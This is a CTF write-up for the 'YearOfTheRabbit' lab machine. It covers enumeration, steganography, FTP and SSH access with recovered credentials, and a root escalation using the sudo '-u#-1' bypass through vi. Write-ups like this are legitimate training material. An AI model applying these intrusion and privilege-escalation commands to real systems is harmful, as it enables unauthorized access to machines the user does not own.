YearOfTheRabbit | CTF write-up
Hello everyone, Today's challenge is full of surprises and I would suggest you be patient while doing it, and make sure not to get into the rabbit holes, this challenge is made by MuirlandOracle. Hope you enjoy this write-up let's get started with some enumeration.
root@kali:~# gobuster dir -u http://10.10.104.51/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.104.51/
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/04/10 08:28:48 Starting gobuster
===============================================================
/assets (Status: 301)
/server-status (Status: 403)
===============================================================
2020/04/10 08:29:08 Finished
===============================================================
root@kali:~#
After discovering some directories, we notice that we have two files one an mp4 video titled RickRolled and a style.css, trying to access the video will send us to the official clip in Youtube which I think it's an old meme. Going back to style.css something is interesting is over there. It's another directory that will lead us to a message asking to deactivate javascript, to do it go to about:config in Firefox and search for javascript and change the value from true to false and try again.
we notice that we've been redirected quickly to another page, trying once again but this time we will turn burpsuite up and intercept the requests and analyse them and see what we are dealing with.
visiting the site will lead us to a picture, and more steganography this time. We will successfully be able to get an FTP username and a password list.
root@kali:~# exiftool Hot_Babe.png
ExifTool Version Number : 11.80
File Name : Hot_Babe.png
Directory : .
File Size : 464 kB
File Modification Date/Time : 2020:04:21 17:30:32+00:00
File Access Date/Time : 2020:04:21 17:31:58+00:00
File Inode Change Date/Time : 2020:04:21 17:30:32+00:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 512
Image Height : 512
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
SRGB Rendering : Perceptual
Warning : [minor] Trailer data after PNG IEND chunk
Image Size : 512x512
Megapixels : 0.262
root@kali:~#
root@kali:~# strings Hot_Babe.png
root@kali:~# ftp 10.10.63.165
Connected to 10.10.63.165.
220 (vsFTPd 3.0.2)
Name (10.10.63.165:root): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 758 Jan 23 01:48 Eli's_Creds.txt
226 Directory send OK.
ftp> get Eli's_Creds.txt
local: Eli's_Creds.txt remote: Eli's_Creds.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for Eli's_Creds.txt (758 bytes).
226 Transfer complete.
758 bytes received in 0.00 secs (1.1754 MB/s)
ftp> exit
221 Goodbye.
root@kali:~#
Login into the FTPuser we will find a file called Eli's_Creds.txt that are encoded to BrainF**k, decoding it will give us access to the user Eli in the machine.
root@kali:~# ssh eli@10.10.63.165
The authenticity of host '10.10.63.165 (10.10.63.165)' can't be established.
ECDSA key fingerprint is SHA256:ISBm3muLdVA/w4A1cm7QOQQOCSMRlPdDp/x8CNpbJc8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.63.165' (ECDSA) to the list of known hosts.
eli@10.10.63.165's password:
1 new message
Message from Root to Gwendoline:
"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"
END MESSAGE
eli@year-of-the-rabbit:~$
eli@year-of-the-rabbit:/home/gwendoline$ ls -la
total 24
drwxr-xr-x 2 gwendoline gwendoline 4096 Jan 23 00:49 .
drwxr-xr-x 4 root root 4096 Jan 23 00:55 ..
lrwxrwxrwx 1 root root 9 Jan 23 00:17 .bash_history -> /dev/null
-rw-r--r-- 1 gwendoline gwendoline 220 Jan 23 00:16 .bash_logout
-rw-r--r-- 1 gwendoline gwendoline 3515 Jan 23 00:16 .bashrc
-rw-r--r-- 1 gwendoline gwendoline 675 Jan 23 00:16 .profile
-r--r----- 1 gwendoline gwendoline 46 Jan 23 00:42 user.txt
eli@year-of-the-rabbit:/home/gwendoline$ cat user.txt
cat: user.txt: Permission denied
eli@year-of-the-rabbit:/home/gwendoline$
If we don't pay attention to the message poping in the start of the SSH session, we may dive in another rabbit hole ... the messages let us know that there's a hidden message for us in this machine, That message will contain the credentials of the user gwendoline that owns the user.txt flag.
eli@year-of-the-rabbit:/home/gwendoline$ locate s3cr3t
/usr/games/s3cr3t
/usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
/var/www/html/sup3r_s3cr3t_fl4g.php
eli@year-of-the-rabbit:/home/gwendoline$ cd /usr/games/s3cr3t/
eli@year-of-the-rabbit:/usr/games/s3cr3t$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Jan 23 00:46 .
drwxr-xr-x 3 root root 4096 Jan 23 00:45 ..
-rw-r--r-- 1 root root 138 Jan 23 00:46 .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
eli@year-of-the-rabbit:/usr/games/s3cr3t$ cat .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly\!
Your password is awful, Gwendoline.
It should be at least 60 characters long! Not just xxxxxxxxxxxxx
Honestly!
Yours sincerely
-Root
eli@year-of-the-rabbit:/usr/games/s3cr3t$ cd
eli@year-of-the-rabbit:~$ su gwendoline
Password:
gwendoline@year-of-the-rabbit:~$ ls
user.txt
gwendoline@year-of-the-rabbit:~$ cat user.txt
THM{****************************************}
gwendoline@year-of-the-rabbit:~$
Privilege escalation
at this time, I ran through some difficulties trying to gain root account. But after digging for a while discovered that the sudo version used is vulnerable even though it's low severity, but this shows us that even the lowest vulns can be useful in pen-testing and dangerous.
[more about the vulnerability in link below]
gwendoline@year-of-the-rabbit:~$ sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
# id
uid=0(root) gid=0(root) groups=0(root)
#
# cd /root
# ls
root.txt
# cat root.txt
THM{****************************************}
#
and we are root, we can get the root flag at the /root directory.
Happy Hacking!